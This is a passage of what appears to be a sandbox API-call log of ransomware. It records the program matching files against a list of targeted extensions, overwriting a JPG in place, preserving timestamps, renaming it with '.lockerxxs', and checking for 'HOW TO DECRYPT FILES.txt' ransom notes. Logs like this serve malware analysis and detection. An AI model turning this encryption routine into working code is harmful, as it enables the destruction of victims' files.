(pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.ems") returned 0 [0065.114] lstrlenA (lpString="*.ems") returned 5 [0065.114] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.db") returned 0 [0065.114] lstrlenA (lpString="*.db") returned 4 [0065.114] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.dbf") returned 0 [0065.114] lstrlenA (lpString="*.dbf") returned 5 [0065.114] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.myox") returned 0 [0065.114] lstrlenA (lpString="*.myox") returned 6 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.myo") returned 0 [0065.115] lstrlenA (lpString="*.myo") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qbw") returned 0 [0065.115] lstrlenA (lpString="*.qbw") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qbb") returned 0 [0065.115] lstrlenA (lpString="*.qbb") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qbm") returned 0 [0065.115] lstrlenA (lpString="*.qbm") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qbo") returned 0 [0065.115] lstrlenA (lpString="*.qbo") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qbx") returned 0 [0065.115] lstrlenA (lpString="*.qbx") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qba") returned 0 [0065.115] lstrlenA (lpString="*.qba") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qby") returned 0 [0065.115] lstrlenA (lpString="*.qby") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qbj") returned 0 [0065.115] lstrlenA (lpString="*.qbj") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.ofx") returned 0 [0065.115] lstrlenA (lpString="*.ofx") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.qif") returned 0 [0065.115] lstrlenA (lpString="*.qif") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.mye") returned 0 [0065.115] lstrlenA (lpString="*.mye") returned 5 [0065.115] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.mbox") returned 0 [0065.115] lstrlenA (lpString="*.mbox") returned 6 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.eml") returned 0 [0065.116] lstrlenA (lpString="*.eml") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.pst") returned 0 [0065.116] lstrlenA (lpString="*.pst") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.ost") returned 0 [0065.116] lstrlenA (lpString="*.ost") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.idx") returned 0 [0065.116] lstrlenA (lpString="*.idx") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.dbx") returned 0 [0065.116] lstrlenA (lpString="*.dbx") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.sql") returned 0 [0065.116] lstrlenA (lpString="*.sql") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.mdb") returned 0 [0065.116] lstrlenA (lpString="*.mdb") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.fdb") returned 0 [0065.116] lstrlenA (lpString="*.fdb") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.wab") returned 0 [0065.116] lstrlenA (lpString="*.wab") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.dat") returned 0 [0065.116] lstrlenA (lpString="*.dat") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.txt") returned 0 [0065.116] lstrlenA (lpString="*.txt") returned 5 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.jpeg") returned 0 [0065.116] lstrlenA (lpString="*.jpeg") returned 6 [0065.116] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", pszSpec="*.jpg") returned 1 [0065.116] lstrlenA (lpString="*.jpg") returned 5 [0065.116] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" [0065.117] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" [0065.117] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg." [0065.117] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.lockerxxs" [0065.117] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.117] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14316 [0065.117] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb2246f00, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x61cf3090, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb2246f00, dwHighDateTime=0x1c747ea)) returned 1 [0065.118] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.118] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x142f0, lpOverlapped=0x0) returned 1 [0065.120] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg") returned="InfoPathWelcomeImage.jpg" [0065.121] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.121] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x142f0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x142f0, lpOverlapped=0x0) returned 1 [0065.122] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.122] CloseHandle (hObject=0x98) returned 1 [0065.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg.lockerxxs")) returned 1 [0065.130] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0065.130] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.130] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LAUNCH.GIF") returned -1 [0065.130] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LAUNCH.GIF") returned -1 [0065.130] lstrcmpiA (lpString1="", lpString2="LAUNCH.GIF") returned -1 [0065.130] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg") returned="InfoPathWelcomeImage.jpg" [0065.130] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.131] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.131] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.131] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.131] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="LAUNCH.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF" [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.ems") returned 0 [0065.131] lstrlenA (lpString="*.ems") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.db") returned 0 [0065.131] lstrlenA (lpString="*.db") returned 4 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.dbf") returned 0 [0065.131] lstrlenA (lpString="*.dbf") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.myox") returned 0 [0065.131] lstrlenA (lpString="*.myox") returned 6 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.myo") returned 0 [0065.131] lstrlenA (lpString="*.myo") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qbw") returned 0 [0065.131] lstrlenA (lpString="*.qbw") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qbb") returned 0 [0065.131] lstrlenA (lpString="*.qbb") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qbm") returned 0 [0065.131] lstrlenA (lpString="*.qbm") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qbo") returned 0 [0065.131] lstrlenA (lpString="*.qbo") returned 5 [0065.131] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qbx") returned 0 [0065.131] lstrlenA (lpString="*.qbx") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qba") returned 0 [0065.132] lstrlenA (lpString="*.qba") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qby") returned 0 [0065.132] lstrlenA (lpString="*.qby") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qbj") returned 0 [0065.132] lstrlenA (lpString="*.qbj") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.ofx") returned 0 [0065.132] lstrlenA (lpString="*.ofx") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.qif") returned 0 [0065.132] lstrlenA (lpString="*.qif") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mye") returned 0 [0065.132] lstrlenA (lpString="*.mye") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mbox") returned 0 [0065.132] lstrlenA (lpString="*.mbox") returned 6 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.eml") returned 0 [0065.132] lstrlenA (lpString="*.eml") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.pst") returned 0 [0065.132] lstrlenA (lpString="*.pst") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.ost") returned 0 [0065.132] lstrlenA (lpString="*.ost") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.idx") returned 0 [0065.132] lstrlenA (lpString="*.idx") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.dbx") returned 0 [0065.132] lstrlenA (lpString="*.dbx") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.sql") returned 0 [0065.132] lstrlenA (lpString="*.sql") returned 5 [0065.132] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mdb") returned 0 [0065.133] lstrlenA (lpString="*.mdb") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.fdb") returned 0 [0065.133] lstrlenA (lpString="*.fdb") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.wab") returned 0 [0065.133] lstrlenA (lpString="*.wab") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.dat") returned 0 [0065.133] lstrlenA (lpString="*.dat") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.txt") returned 0 [0065.133] lstrlenA (lpString="*.txt") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.jpeg") returned 0 [0065.133] lstrlenA (lpString="*.jpeg") returned 6 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.jpg") returned 0 [0065.133] lstrlenA (lpString="*.jpg") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.png") returned 0 [0065.133] lstrlenA (lpString="*.png") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.php") returned 0 [0065.133] lstrlenA (lpString="*.php") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.cs") returned 0 [0065.133] lstrlenA (lpString="*.cs") returned 4 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.cpp") returned 0 [0065.133] lstrlenA (lpString="*.cpp") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.rar") returned 0 [0065.133] lstrlenA (lpString="*.rar") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.zip") returned 0 [0065.133] lstrlenA (lpString="*.zip") returned 5 [0065.133] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.html") returned 0 [0065.133] lstrlenA (lpString="*.html") returned 6 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.htm") returned 0 [0065.134] lstrlenA (lpString="*.htm") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.xlsx") returned 0 [0065.134] lstrlenA (lpString="*.xlsx") returned 6 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.xls") returned 0 [0065.134] lstrlenA (lpString="*.xls") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mp4") returned 0 [0065.134] lstrlenA (lpString="*.mp4") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.ppt") returned 0 [0065.134] lstrlenA (lpString="*.ppt") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.pptx") returned 0 [0065.134] lstrlenA (lpString="*.pptx") returned 6 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.doc") returned 0 [0065.134] lstrlenA (lpString="*.doc") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.dot") returned 0 [0065.134] lstrlenA (lpString="*.dot") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.docx") returned 0 [0065.134] lstrlenA (lpString="*.docx") returned 6 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.7z") returned 0 [0065.134] lstrlenA (lpString="*.7z") returned 4 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.tar") returned 0 [0065.134] lstrlenA (lpString="*.tar") returned 5 [0065.134] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.bz2") returned 0 [0065.134] lstrlenA (lpString="*.bz2") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.gz") returned 0 [0065.135] lstrlenA (lpString="*.gz") returned 4 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mkv") returned 0 [0065.135] lstrlenA (lpString="*.mkv") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.eml") returned 0 [0065.135] lstrlenA (lpString="*.eml") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.msg") returned 0 [0065.135] lstrlenA (lpString="*.msg") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.edb") returned 0 [0065.135] lstrlenA (lpString="*.edb") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 